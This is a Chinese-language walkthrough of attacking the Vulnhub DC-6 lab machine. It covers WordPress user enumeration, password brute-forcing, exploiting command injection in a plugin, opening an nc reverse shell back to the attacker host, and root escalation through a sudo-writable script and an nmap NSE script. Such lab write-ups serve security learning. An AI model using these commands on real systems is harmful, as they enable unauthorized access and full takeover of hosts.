Vulnhub-DC-6渗透学习
一、环境搭建
攻击机:Kali-2021.3:192.168.11.132
靶机:Vulnhub-DC-6:192.168.11.140
二、信息收集
主机探活
1 | nmap -sP 192.168.11.0/24 |

扫描目标端口
1 | nmap -A -p- 192.168.11.140 |

发现开启了80端口,同时发现CMS是WordPress
先尝试访问,发现会自动跳转到域名wordy

因此修改一下hosts文件,加入内容:192.168.11.140 wordy
保存即可,再次访问即可访问成功

既然已经知道CMS是WordPress了,那就直接用wpscan开始扫描
列举用户名
1 | wpscan --url http://wordy/ --enumerate u |

成功找到五个用户
将五个用户名存入txt
1 | echo -e "admin \njens \ngraham \nmark \nsarah" > users.txt |

在DC-6的官网中有个提示

因此这个很有可能就是我们需要的密码
进入目录,发现还未解压,那么就解压一下
参考解压方式:
*.tar用tar –xvf解压*.gz用gzip -d或者gunzip解压*.tar.gz和*.tgz用tar –xzf解压*.bz2用bzip2 -d或者用bunzip2解压*.tar.bz2用tar –xjf解压*.Z用uncompress解压*.tar.Z用tar –xZf解压*.rar用unrar e解压*.zip用unzip解压*.xz用xz -d解压*.tar.xz用tar -zJf解压
1 | gzip -d rockyou.txt.gz > rockyou.txt |

然后根据提示将这个密码中关于"k01"部分的密码复制出来
1 | cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt |

三、实战
漏洞利用
通过信息收集我们得到了用户名和密码,那么就能通过wpscan尝试暴力破解
1 | wpscan --url http://wordy/ -U users.txt -P passwords.txt |

得到账号密码:
mark / helpdesk01
然后用dirsearch找一下后台登录入口
1 | python3 dirsearch.py -u http://192.168.11.140 |

登录mark的账号

寻找一下有没有利用点
然后在Activity monitor → Tools的"Lookup"里发现有命令执行漏洞

反弹shell
那接下来就反弹一下shell吧,因为在网页里命令的长度受到了限制,因此我们可以用burp抓个包,然后写入命令

开启监听:
1 | nc -lvp 2222 |
反弹shell:
1 | nc -e /bin/bash 192.168.11.132 2222 |
最后再用python换成交互shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |

提权
尝试能不能suid提权,但并没有好的利用点
1 | find / -perm -4000 -print 2>/dev/null |

尝试免密使用的root命令,但需要密码,并不行
1 | sudo -l |

那么就找找信息吧,进入到home目录,发现在mark → stuff里有另一个用户graham的密码

graham / GSo7isUM1D4
切换用户
1 | su graham |

再次尝试suid提权,但和上一个用户一样没什么可用的
查看免密使用的root权限命令,发现存在一个可以通过jens的身份去使用的备份文件

那么接下来的思路就是在这个备份文件中写入/bin/bash然后以jens运行这个sh文件即可得到目标shell
写入/bin/bash
1 | echo "/bin/bash" >> backups.sh |
以jens身份运行得到shell
1 | sudo -u jens ./backups.sh |
成功得到jens用户的shell

叒尝试suid提权,一样没有利用点
查看免密使用的root权限命令,似乎有机会

查看一下nmap提权,分两种情况
-
SUID,那就直接提权
1
nmap --interactive
-
只有单个用户被分配有root权限
1
2echo "os.execute('/bin/bash')" > shell.nse
sudo nmap --script=shell.nseos.execute和C语言中的system()命令是一样的--script是指出nmap所要执行的脚本文件
在我们这里很明显是第二种情况

提权成功,拿到flag











